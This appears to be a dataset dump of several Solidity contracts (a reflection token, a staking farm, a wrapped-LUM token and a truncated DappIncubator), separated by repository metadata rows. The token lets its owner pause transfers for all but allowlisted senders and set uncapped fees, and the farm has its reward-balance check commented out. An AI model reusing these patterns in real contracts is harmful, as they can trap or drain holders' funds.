address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x2BA6Ce4b52b039bBE18074C8cC3c1E036B1BBeae, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 329,186 | 10,692 |
f420c68b15d4582e1f441874b4b8efc0f6a8d0f189e9d78e13dbc975367abc4b
| 27,985 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TE1C4qr7ek7ka4Uw6hpj3tMhvmPTpV57Gw_USDTSRKNFarm.sol
| 4,286 | 16,575 |
//SourceUnit: USDTSRKNFarm.sol
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
// https://docs.synthetix.io/contracts/Owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// https://docs.synthetix.io/contracts/RewardsDistributionRecipient
contract IRewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/Pausable
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract USDTSRKNFarm is IStakingRewards, IRewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 30 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
//uint balance = rewardsToken.balanceOf(address(this));
//require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 292,525 | 10,693 |
798d88c563e75d2de5be5a11e2dd5a5dc5efd49f8c1b54501e6c1914d2aa93f9
| 29,387 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a6/a69557e01b0a6b86e5b29be66d730c0bfff68208_wLUM.sol
| 3,354 | 12,994 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract ERC20
is
IERC20
{
using SafeMath for uint;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256("ERC20Token");
// Present in ERC777
mapping (address => uint) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint)) internal _allowances;
// Present in ERC777
uint internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
// Present in ERC777
function name() public view returns (string memory) {
return _name;
}
// Present in ERC777
function symbol() public view returns (string memory) {
return _symbol;
}
// Present in ERC777
function decimals() public view returns (uint8) {
return _decimals;
}
// Present in ERC777
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
// Present in ERC777
function balanceOf(address account) public view virtual override returns (uint) {
return _balances[account];
}
// Overrideen in ERC777
// Confirm that this behavior changes
function transfer(address recipient, uint amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
// Present in ERC777
function allowance(address owner, address spender) public view virtual override returns (uint) {
return _allowances[owner][spender];
}
// Present in ERC777
function approve(address spender, uint amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
// Present in ERC777
function transferFrom(address sender, address recipient, uint amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// Present in ERC777
function _mint(address account_, uint ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
// Present in ERC777
function _burn(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
// Present in ERC777
function _approve(address owner, address spender, uint amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// Present in ERC777
function _beforeTokenTransfer(address from_, address to_, uint amount_) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ILUM {
function index() external view returns (uint);
}
contract wLUM is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable LUM;
constructor(address _LUM) ERC20('Wrapped LUM', 'wLUM', 9) {
require(_LUM != address(0));
LUM = _LUM;
}
function wrap(uint _amount) external returns (uint) {
IERC20(LUM).transferFrom(msg.sender, address(this), _amount);
uint value = LUMTowLUM(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wLUMToLUM(_amount);
IERC20(LUM).transfer(msg.sender, value);
return value;
}
function wLUMToLUM(uint _amount) public view returns (uint) {
return _amount.mul(ILUM(LUM).index()).div(10 ** decimals());
}
function LUMTowLUM(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(ILUM(LUM).index());
}
}
| 316,502 | 10,694 |
e24f5d000a7de4576f13946cc6ee9729216fcd6740c84539223989d5a70aeb8b
| 19,986 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x6f8de8c1ede1296a1dca1c74e5e4f79b1ba3af43.sol
| 4,555 | 18,773 |
pragma solidity >=0.6.0 <0.8.1;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DappIncubator is Ownable {
struct TokenLedger {
uint supply;
uint dividend;
uint initialPrice;
uint incrementPrice;
}
struct BalanceLedger {
uint tokenBalance;
uint referralBalance;
int payOut;
}
mapping(address => bool) contractAddressRecord;
mapping(address => bool) walletAddressRecord;
uint constant magnitude = 1e18 ;
uint constant dividendFee = 10;
